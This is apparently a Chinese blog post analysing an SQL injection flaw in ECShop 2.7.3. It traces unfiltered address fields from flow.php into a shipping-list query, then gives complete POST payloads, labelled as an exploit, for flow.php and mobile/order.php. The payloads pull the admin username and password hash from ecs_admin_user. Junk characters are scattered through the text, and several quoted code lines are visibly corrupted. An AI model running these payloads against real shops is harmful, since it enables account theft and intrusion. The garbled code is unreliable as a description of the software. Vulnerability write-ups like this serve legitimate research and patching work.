ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

    漏洞关键文件：
+ E, |* W- N: k$ k
- b3 P' D0 U# \, F    /includes/lib_order.php
* A4 X# q! {! O7 k# X) |& s
    关键函数：
9 Q1 Z. p$ I, N9 X/ C! k# ~2 e
# C# i  j% v* ~2 w3 Z2 Z) J
9 m2 t+ A8 \/ h0 S, x
  V" E+ ~9 X3 y! l$ j( D3 n- ]: E+ w01     function available_shipping_list($region_id_list)

: P+ q8 G* f; T02 {
0 a$ q& F3 v# e/ P4 h2 w& A
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
5 f9 z3 Q3 _, h, ^0 O
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
3 A; N. y( R& l( C0 g$ |5 {2 z
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .

06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
% \6 g8 x& B& F2 F- k3 m4 u. n9 {
# x  A$ M  _# {07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.

5 W( [( m- g/ y) N, u: E  t08             'WHERE r.region_id ' . db_create_in($region_id_list) .
# {9 R8 H* @7 P' k4 Y# U7 s
  ]; @$ |7 }( z( ?: {09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

* G+ c+ h8 l0 j10   

1 C" s( I+ t5 C6 ]8 n11     return $GLOBALS['db']->getAll($sql);

12 }
3 x" Y' W# L% c- f) L5 W
, z0 W0 a" y( H. ?显然对传入的参数没有任何过滤就带入了查询语句。

下面我们追踪这个函数在flow.php中：
8 w+ V( ?0 o3 i5 E1 ^0 |9 j1 o* u 第531行：   
: r! G( c+ j- z8 Y7 K: N
1 $shipping_list     = available_shipping_list($region);

- h2 w  C4 C1 X) E5 Z+ Y  F
8 I- o0 v1 J- J3 [5 E4 S

0 }) i6 X8 U1 n, s6 A: x
再对传入变量进行追踪：

* H) T. M: F# d第530行：   

1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);


# b9 Y) V" K1 d


7 ~" Q+ {# `# W/ Z第473行：        
/ O( u( {/ k. ]$ R& T5 |: ?
, N8 s" ?: p5 O  g  n1 $consignee = get_consignee($_SESSION['user_id']);
$ i$ T. w! m" g* K
到了一个关键函数：
0 k3 b) G- g7 d1 H! @
/includes/lib_order.php

* P& G- n8 W( C) r7 u5 z: p6 N+ d3 v


+ [# R9 `6 ]4 i5 V! f! c
/ d6 r- ~( i; \5 h9 x, H' m  K01 function get_consignee($user_id)

02 {

03     if (isset($_SESSION['flow_consignee']))

04     {

05         /* 如果存在session，则直接返回session中的收货人信息 */
" q# g, p2 m% k0 C$ ?& F$ [& x( y
" l: O) ^. W  G! \- S- _06   
2 b# Q# K' o  N% \
07         return $_SESSION['flow_consignee'];
) s& s8 z+ s1 S- q+ E- v& ?
08     }
' _4 d, F; H  n
09     else

10     {

11         /* 如果不存在，则取得用户的默认收货人信息 */
; j5 ~, P; e% n6 Q) L. \5 h  Q8 o( Q
12         $arr = array();

13   
# N0 L8 R# p8 C
1 q1 Q! ]' F! ]8 W. M1 E' h* x) M' a14         if ($user_id > 0)
2 f, q+ Q- @4 }- a( W' t: B
15         {

16             /* 取默认地址 */

17             $sql = "SELECT ua.*".

' c8 [- b3 a, l4 y, {& Y% ?18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

* d& Y4 J4 A" U! l0 w19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
2 {* D& d; h3 A8 l! W1 |
# g6 D. C" n: E6 h9 J7 W" D20   

21             $arr = $GLOBALS['db']->getRow($sql);

' u2 e; L! C/ A- g& U! s% k+ |" M: j! p22         }

5 l! j! [7 _$ [& a2 k0 x23   

8 _' i' t! N) B( Y- t& b24         return $arr;

25     }
- w+ @" G. x) y# {
- n6 |9 G4 T6 q  F, K2 d+ {+ v26 }

% a2 w7 M, q/ T/ `6 V显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
$ ]6 L: F. \$ p7 e4 y$ E
9 W# A* L! c7 K2 N9 R" f7 i

关键点:

3 F* p0 s6 v0 l! z6 C3 Z7 g第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
* g/ [. A2 h1 S2 [- B( L
& s* e0 a: R1 K. J1 j这里对传入参数反转义存入$_SESSION中。
+ ?4 f& p4 ?9 R

0 N" y2 r" J5 ~4 W- b, M3 o
然后看下：



. a' z- G  q# w! D" A  Z   
5 e5 z% O( C7 T( R: T0 ^
1 F) l, D, n" y: Z' o7 r01 $consignee = array(

0 [% B: t. e# J* \" \9 t! l" T02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

4 p6 M& G% P, s- j0 L; B03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),

$ H# z5 B5 g; Z5 J" i& P( }, V3 R0 N04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
$ E5 h. R2 W1 M2 ?' R/ S
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
; f* i& x6 U$ f4 R( x
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

8 M7 @+ a: F4 I: O; G0 Q6 A07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

2 t1 q# Q/ T" f08         'email'         => empty($_POST['email'])      ? '' _POST['email'],

8 h8 g- o" b; V3 I8 K  P09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
3 `7 E0 N( ]1 X2 T( h# |& j' D
. `' T% \) |5 d1 p4 h% e; I10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

  k6 }) Z' F0 Z- u8 \, g+ \* @11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
9 ~. `" z3 [& n2 Y
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),

7 V1 y: F( X5 L13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
! Z4 f- L  P: ]6 ~5 X1 Z' }' w& w* R
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

. f9 w1 V* m8 _5 @. n15     );
/ [0 F6 |. n" r3 m
好了注入就这样出现了。

8 M8 ]1 j- t, w  K$ A==================

注入测试：
8 p7 [9 T+ {7 z, a
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
2 ]& |% f. ~; q$ r- c% K
; `8 y% E0 j& B3 G7 U测试程序：ECShop_V2.7.3_UTF8_release1106



1.首先需要点击一个商品加入购物车

2.注册一个会员帐号
! B, W" [  l7 y* v
3.post提交数据
0 @" W8 D0 Y, p; Z* i& A
* [! Q, |* `1 ]0 y& m' o  ~4 D  }3 }
/ P. q" X( l; S/ a
1 http://127.0.0.1/ecshop/flow.php
: }/ S( d% N8 V, a9 h% e; H. Y
) q4 w: b* U3 J, G: t8 U9 f0 B; U, F2   
, o$ D( S; e( N( A( f, \$ L* k
5 m( B3 C1 Y2 M0 c1 [3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：
7 X6 M: |7 V. f* D9 Q' w) d( j
- m9 T. w1 _( M/ |$ a' G9 R- p' L! N4 [我们搜寻关键函数function available_shipping_list()

在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
/ {! Z# h( ?2 E( [  [/ D
7 A+ M1 ^0 V/ P8 U. ]% V' c! y利用exp:

) P! F. G# A+ O% H: d5 j, k7 e1.点击一个商品，点击购买商标
5 u- t$ a7 J8 ~, n: h' |* Q
4 l1 w% o9 ?. F, r2 W( o: ^2.登录会员帐号

( O6 x3 B& x6 W: x3.post提交：

5 ~; v2 Z7 B5 Nhttp://127.0.0.1/ecshop/mobile/order.php
5 U* [5 T, |; T. w5 g/ h* D! T% f
* j. e, U! k; u3 d

country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=

  v+ q: d! H" ~. Q& L* r7 d) T+ G